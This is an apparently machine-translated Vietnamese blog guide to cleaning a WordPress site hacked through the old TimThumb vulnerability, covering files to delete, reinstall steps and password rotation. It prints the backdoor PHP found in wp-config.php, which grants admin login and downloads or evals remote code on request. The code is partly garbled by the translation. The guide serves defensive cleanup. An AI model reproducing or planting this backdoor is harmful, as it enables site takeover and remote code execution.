Làm thế nào để khắc phục và dọn dẹp TimThumb Hack trong WordPress

Vì vậy, nếu bạn nhớ chính xác, đã có một vấn đề an ninh với các tập lệnh TimThumb vào tháng Tám đã được cố định. Tuy nhiên vẫn còn bất ngờ, nhiều trang web vẫn đang sử dụng phiên bản cũ. Chúng tôi đã cố định ba trang web cho đến nay trong tháng qua, một trong những ngày hôm qua. Vì vậy, hãy viết từng bài một cách đơn giản, vì vậy người dùng của chúng tôi chỉ có thể làm theo nó. Tất cả ba người dùng mà chúng tôi khắc phục vấn đề này cho thậm chí không biết TimThumb là gì hay liệu họ đang sử dụng nó hay không.

TimThumb là một tập lệnh PHP thay đổi kích thước hình ảnh. Có một lỗ hổng trong đó, nhưng SAFE là sử dụng ngay bây giờ.

Vậy làm thế nào để bạn biết rằng trang web của bạn bị tấn công? Nếu bạn thấy một màn hình màu đỏ lớn trên trình duyệt của bạn khi truy cập vào trang web của bạn:

Một cái gì đó không phải ở đây

Nếu bạn bắt đầu bị bắn phá với email về người dùng được chuyển hướng từ trang web của bạn. Rất có thể, trường hợp là trang web của bạn đã là nạn nhân của khai thác này.

Là một biện pháp cảnh báo, tất cả mọi người nên sử dụng máy quét này Timthumb Vulnerability Scanner. Điều này sẽ cho bạn biết nếu bạn đang sử dụng phiên bản cũ của TimThumb. Rất nhiều câu lạc bộ chủ đề nâng cấp cốt lõi của họ ngay. Vì vậy, plugin này sẽ kiểm tra nếu phiên bản an toàn mới của Timthumb được cài đặt hoặc cài đặt một phiên bản cũ hơn.

Bây giờ nếu trang web của bạn đã rơi vào tình trạng khai thác Timthumb này, thì đây là những gì bạn cần làm.

Đầu tiên bạn cần xóa các tệp sau:

/wp-admin/upd.php
 /wp-content/upd.php 

Đăng nhập vào bảng điều khiển của WordPress và cài đặt lại phiên bản WordPress của bạn. Chúng tôi đặc biệt tìm cách để cài đặt lại các tệp này:

/wp-settings.php
 /wp-includes/js/jquery/jquery.js
 /wp-includes/js/110n.js 

Rồi mở wp-config.php nơi mà bạn sẽ rất có thể tìm thấy mã số phần mềm độc hại lớn đang thu thập thông tin đăng nhập và cookie. Mã này sẽ được về phía dưới cùng.

if (isset ($ _ GET ['pingnow']) && isset ($ _ GET ['pass'])) {
 if ($ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') {
 if ($ _GET ['pingnow'] == 'login') {
 $ user_login = 'admin';
 $ user = get_userdatabylogin ($ user_login);
 $ user_id = $ user-> ID;
 wp_set_current_user ($ user_id, $ user_login);
 wp_set_auth_cookie ($ user_id);
 do_action ('wp_login', $ user_login);
 }
 nếu (($ _GET ['pingnow'] == 'exec') && (isset ($ _ GET ['file']))) {
 $ ch = curl_init ($ _ GET ['file']);
 $ fnm = md5 (rand (0,100)). '. php';
 $ fp = fopen ($ fnm, "w");
 curl_setopt ($ ch, CURLOPT_FILE, $ fp);
 curl_setopt ($ ch, CURLOPT_HEADER, 0);
 curl_setopt ($ ch, CURLOPT_TIMEOUT, 5);
 curl_exec ($ ch);
 curl_close ($ ch);
 fclose ($ fp);
 echo "";
 }
 if (($ _GET ['pingnow'] == 'eval') && (isset ($ _ GET ['file']))) {
 $ ch = curl_init ($ _ GET ['file']);
 curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, đúng);
 curl_setopt ($ ch, CURLOPT_HEADER, 0);
 curl_setopt ($ ch, CURLOPT_TIMEOUT, 5);
 $ re = curl_exec ($ ch);
 curl_close ($ ch);
 eval ($ lại);
 }}} 

Trong thư mục chủ đề của bạn, hãy tìm bất cứ nơi nào tập lệnh TimThumb có thể lưu trữ các tệp lưu trữ. Thông thường chúng nằm trong cấu trúc này:

/wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php
 /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php 

Xóa mọi thứ trông như thế này. Nếu bạn không chắc chắn về những thứ, sau đó xóa tất cả mọi thứ mà không phải là một tập tin hình ảnh.

Tiếp theo bạn muốn làm là thay thế timthumb.php với phiên bản mới nhất có thể tìm thấy tại http://timthumb.googlecode.com/svn/trunk/timthumb.php

Bây giờ sẽ là một ý tưởng tốt để thay đổi mật khẩu của bạn bắt đầu với thông tin đăng nhập MySQL của bạn để thông tin đăng nhập WordPress của bạn. Đừng quên thay đổi mật khẩu cho MySQL trong wp-config.php hoặc bạn sẽ nhận được màn hình “Error Establishing Connection”.

Thay đổi các phím bí mật trong tệp wp-config.php. Bạn có thể tạo một khoá mới bằng cách vào trình tạo trực tuyến.

Bây giờ bạn đã xong. Đừng quên để trống tất cả các bộ đệm lưu trang. Như một biện pháp cảnh báo, tốt hơn là xóa bộ nhớ cache của trình duyệt và cookie của bạn.

Đối với các nhà phát triển, thử sử dụng tính năng Additional Image Sizes trong WordPress để thay thế các chức năng Timthumb.

Hãy cho chúng tôi biết nếu bạn cần trợ giúp thêm bằng cách sử dụng mẫu liên hệ của chúng tôi.